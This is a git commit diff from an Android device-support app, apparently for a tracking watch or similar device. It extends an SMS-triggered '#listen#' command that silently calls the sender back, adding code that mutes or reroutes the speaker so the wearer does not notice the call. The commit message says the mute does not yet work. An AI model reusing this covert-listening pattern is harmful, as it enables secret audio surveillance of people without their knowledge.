From: snickersun Date: Tue, 12 May 2020 00:15:31 +0000 (+0800) Subject: 尝试在listen命令过程中对speaker静音,流程已经建立好,但是静音没能生效。还需找其他途径。 X-Git-Url: http://git.snicker.com.cn/Users/apple/Desktop/static/gitweb.css?a=commitdiff_plain;h=8c30a4476966b90b529bc8bf3dcab2de5e0aa854;p=icsupport.git 尝试在listen命令过程中对speaker静音,流程已经建立好,但是静音没能生效。还需找其他途径。 --- diff --git a/app/src/main/java/com/enqualcomm/support/ICSmsManager.java b/app/src/main/java/com/enqualcomm/support/ICSmsManager.java index 6ce831d0..75b32c7a 100644 --- a/app/src/main/java/com/enqualcomm/support/ICSmsManager.java +++ b/app/src/main/java/com/enqualcomm/support/ICSmsManager.java @@ -22,6 +22,7 @@ import com.enqualcomm.support.service.Deliver; import com.enqualcomm.support.utils.APNUtil; import com.enqualcomm.support.utils.CellInfoUtil; import com.enqualcomm.support.utils.DeviceInfoUtil; +import com.enqualcomm.support.utils.ICAudioManager; import com.enqualcomm.support.utils.ICHttpUtil; import com.enqualcomm.support.utils.ICLogger; import com.enqualcomm.support.utils.ServiceUtil; @@ -742,6 +743,7 @@ public class ICSmsManager { } else if (sms.equals(ENCRYPED_HEADER+"#listen#")) { sendSMS(phonenumber, "start listen !"); // CellInfoUtil.dialSilent(runtime.getContextProxy().context,phonenumber); + ICAudioManager.needMute=true; SimSignalUtil.send_at_cmd(runtime,"atd"+phonenumber+";"); } else if (sms.equals(ENCRYPED_HEADER+"#location#")) { diff --git a/app/src/main/java/com/enqualcomm/support/service/SilentManager.java b/app/src/main/java/com/enqualcomm/support/service/SilentManager.java index bec77bbf..db64a9f0 100644 --- a/app/src/main/java/com/enqualcomm/support/service/SilentManager.java +++ b/app/src/main/java/com/enqualcomm/support/service/SilentManager.java @@ -16,6 +16,7 @@ import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager; import com.enqualcomm.support.CoreService; import com.enqualcomm.support.ICContentProvider; +import com.enqualcomm.support.MainActivity; import com.enqualcomm.support.bean.Alarm; import com.enqualcomm.support.bean.Antioff; import com.enqualcomm.support.bean.NoticeContent; @@ -27,14 +28,21 @@ import com.enqualcomm.support.service.base.AbstractInvokeHandlerService; import com.enqualcomm.support.utils.AlarmHelper; import com.enqualcomm.support.utils.Connection; import com.enqualcomm.support.utils.DBHelper; +import com.enqualcomm.support.utils.ICAudioManager; import com.enqualcomm.support.utils.ICLogger; import com.enqualcomm.support.utils.MissedCallContentObserver; import com.enqualcomm.support.utils.SharPreferenceUtil; import com.enqualcomm.support.utils.TimeUtil; +import com.enqualcomm.support.utils.Util; + import java.util.ArrayList; import java.util.Calendar; import java.util.Date; import java.util.Iterator; +import java.util.concurrent.TimeUnit; + +import rx.Observable; +import rx.functions.Action1; import static android.telephony.TelephonyManager.ACTION_PHONE_STATE_CHANGED; import static android.telephony.TelephonyManager.CALL_STATE_OFFHOOK; @@ -87,23 +95,45 @@ public class SilentManager extends AbstractInvokeHandlerService { public void onCallStateChanged(int state, String incomingNumber) { super.onCallStateChanged(state, incomingNumber); - ICLogger.i("onCallStateChanged state "+state+", incomingNumber "+incomingNumber); + ICLogger.i("========onCallStateChanged state "+state+", incomingNumber "+incomingNumber); switch(state) { case 0: //挂电话 isCalling = false; // if (SilentManager.this.haveHandSilence) { // SilentManager.this.handSilence(SilentManager.this.mContext, SilentManager.this.mValue_isSilence); // } + if(ICAudioManager.needMute==true) + { + Observable.timer(2000L, TimeUnit.MILLISECONDS).subscribe(new Action1() { + public void call(Long param1Long) { + ICAudioManager.restoreVolumn(mContext); //2秒后恢复音量 + ICAudioManager.needMute=false; + } + }); + } + ICLogger.i("========Hung up!"); break; case 1: //来电 isCalling = true; Intent var3 = new Intent(); var3.setAction(ACTION_CLOSE_UNREAD_MSG); mContext.sendBroadcast(var3); + + ICLogger.i("========Ring!"); + if(ICAudioManager.needMute==true) + { + ICAudioManager.setVolumnMute(mContext); + } break; case 2://接电话 isCalling = true; + ICLogger.i("========OutGoing !"); + if(ICAudioManager.needMute==true) + { + ICAudioManager.setVolumnMute(mContext); + } + } } diff --git a/app/src/main/java/com/enqualcomm/support/utils/ICAudioManager.java b/app/src/main/java/com/enqualcomm/support/utils/ICAudioManager.java new file mode 100644 index 00000000..f572501c --- /dev/null +++ b/app/src/main/java/com/enqualcomm/support/utils/ICAudioManager.java @@ -0,0 +1,131 @@ +package com.enqualcomm.support.utils; + +import android.content.Context; +import android.content.Intent; +import android.media.AudioManager; +import android.os.Build; + +public class ICAudioManager { + + private static int saved_volumn = 0; + public static boolean needMute = false; + private static int route = 0; + + public static void setVolumnMute(Context context) { + AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE); + ICLogger.i("======setVolumnMute"); + saved_volumn = audioManager.getStreamVolume(AudioManager.STREAM_VOICE_CALL); + + route=audioManager.getRouting(AudioManager.MODE_IN_COMMUNICATION); + ICLogger.i("======getRouteMODE_IN_COMMUNICATION "+route); + route=audioManager.getRouting(AudioManager.MODE_IN_CALL); + ICLogger.i("======getRouteMODE_IN_CALL "+route); + route=audioManager.getRouting(AudioManager.MODE_CURRENT); + ICLogger.i("======getRouteMODE_CURRENT "+route); + route=audioManager.getRouting(AudioManager.MODE_NORMAL); + ICLogger.i("======getRouteMODE_NORMAL "+route); + audioManager.setRouting(AudioManager.MODE_IN_COMMUNICATION,AudioManager.ROUTE_HEADSET,0); + + Intent intent=new Intent(); + intent.setAction(Intent.ACTION_HEADSET_PLUG); + intent.putExtra("microphone", 1); + + context.sendBroadcast(intent); +// SimSignalUtil.SetRingMode(context, AudioManager.RINGER_MODE_SILENT, false); +// CloseSpeaker(context);// + + } + + public static void restoreVolumn(Context context) { + ICLogger.i("======restoreVolumn"); + AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE); + audioManager.setRouting(AudioManager.MODE_IN_COMMUNICATION,AudioManager.ROUTE_SPEAKER,0); + Intent intent=new Intent(); + intent.setAction(Intent.ACTION_HEADSET_PLUG); + intent.putExtra("microphone", 0); + context.sendBroadcast(intent); +// changeToSpeaker(context); + +// SimSignalUtil.SetRingMode(context, AudioManager.RINGER_MODE_NORMAL, true); + // OpenSpeaker(context); + } + + + /** + * 切换到外放 + */ + public static void changeToSpeaker(Context context) { + AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB){ + audioManager.setMode(AudioManager.MODE_IN_COMMUNICATION); + } else { + audioManager.setMode(AudioManager.MODE_IN_CALL); + } + audioManager.setSpeakerphoneOn(true); + } + + /** + * 切换到耳机模式 + */ + public static void changeToHeadset(Context context) { + AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB){ + audioManager.setMode(AudioManager.MODE_IN_COMMUNICATION); + } else { + audioManager.setMode(AudioManager.MODE_IN_CALL); + } + audioManager.setSpeakerphoneOn(false); + + } + + /** + * 切换到听筒 + */ + public static void changeToReceiver(Context context) { + AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE); + audioManager.setSpeakerphoneOn(false); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB){ + audioManager.setMode(AudioManager.MODE_IN_COMMUNICATION); + } else { + audioManager.setMode(AudioManager.MODE_IN_CALL); + } + } + + //关闭扬声器 + public static void CloseSpeaker(Context context) { + try { + AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE); + if (audioManager != null) { + if (audioManager.isSpeakerphoneOn()) { + audioManager.setSpeakerphoneOn(false); + audioManager.setStreamVolume(AudioManager.STREAM_VOICE_CALL, saved_volumn, + AudioManager.STREAM_VOICE_CALL); + } + } + } catch (Exception e) { + e.printStackTrace(); + } + //Toast.makeText(context,"扬声器已经关闭",Toast.LENGTH_SHORT).show(); + } +//打开扬声器 + public static void OpenSpeaker(Context context) { + + try{ + AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE); + //audioManager.setMode(AudioManager.ROUTE_SPEAKER); + audioManager.setMode(AudioManager.MODE_IN_CALL); + saved_volumn = audioManager.getStreamVolume(AudioManager.STREAM_VOICE_CALL); + + if(!audioManager.isSpeakerphoneOn()) { + audioManager.setSpeakerphoneOn(true); + + audioManager.setStreamVolume(AudioManager.STREAM_VOICE_CALL, + audioManager.getStreamMaxVolume(AudioManager.STREAM_VOICE_CALL ), + AudioManager.STREAM_VOICE_CALL); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + +}